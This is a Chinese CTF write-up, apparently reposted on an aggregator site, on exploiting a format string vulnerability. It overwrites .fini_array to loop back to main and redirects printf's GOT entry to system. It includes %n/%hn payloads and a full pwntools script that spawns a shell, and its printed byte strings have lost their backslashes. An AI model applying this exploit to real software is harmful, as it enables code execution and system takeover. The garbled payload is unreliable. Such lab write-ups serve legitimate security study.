格式化字符串漏洞-无限循环
Posted playmak3r
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了格式化字符串漏洞-无限循环相关的知识,希望对你有一定的参考价值。
程序大致逻辑如下,程序存在system函数,保护只开了NX
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to my ctf! What's your name?");
__isoc99_scanf("%64s", &format);
printf("Hello ");
printf(&format);
return 0;
存在格式化字符串漏洞,但是利用完之后没有别的函数执行。只能利用一次且没有别的函数可以执行。
但是有一种方法可以使程序达到无限循环。
一个程序的流程执行如下所示:
在main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针
我们修改其函数指针的地址为main即可在结束时重新调用main函数重新调用函数
同时我们可以将printf的got表内容修改至system函数的地址调用system地址
接着我们在查看一下我们输入的字符串的偏移,再printf处下断点
我们输入所处的偏移为4
最终确定payload如下
payload=p32(fini_array)+p32(printf_got)+"%134513964c%4$n"+"%4294966940c%5$n"
但是由于交互问题此时接收数据太长,传输效果不好。因此我们改用hn传输
payload="x9cx97x04x08x9ex97x04x08x9cx98x04x08x9ex98x04x08%34084c%4$ hn%33488c%5$hn%31692c%6$hn%33844c%7$hn"
from pwn import *
p=process('./pwn')
context.log_level='debug'
p.recvuntil("Welcome to my ctf! What's your name?
")
fini_array=0x0804979c
fini_1=0x0804979e
printf_got=0x0804989c
system_plt=0x080483d0
main_addr=0x08048534
payload="x9cx97x04x08x9ex97x04x08x9cx98x04x08x9ex98x04x08%34084c%4$hn%33488c%5$hn%31692c%6$hn%33844c%7$hn"
#payload=p32(fini_array)+p32(printf_got)+"%134513964c%4$n%4294966940c%5$n"
p.send(payload)
sleep(2)
p.recvuntil("Welcome to my ctf! What's your name?
")
p.sendline("/bin/shx00")
p.interactive()
以上是关于格式化字符串漏洞-无限循环的主要内容,如果未能解决你的问题,请参考以下文章
安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段
预警通报关于Apache Tomcat WebSocket拒绝服务 漏洞的预警通报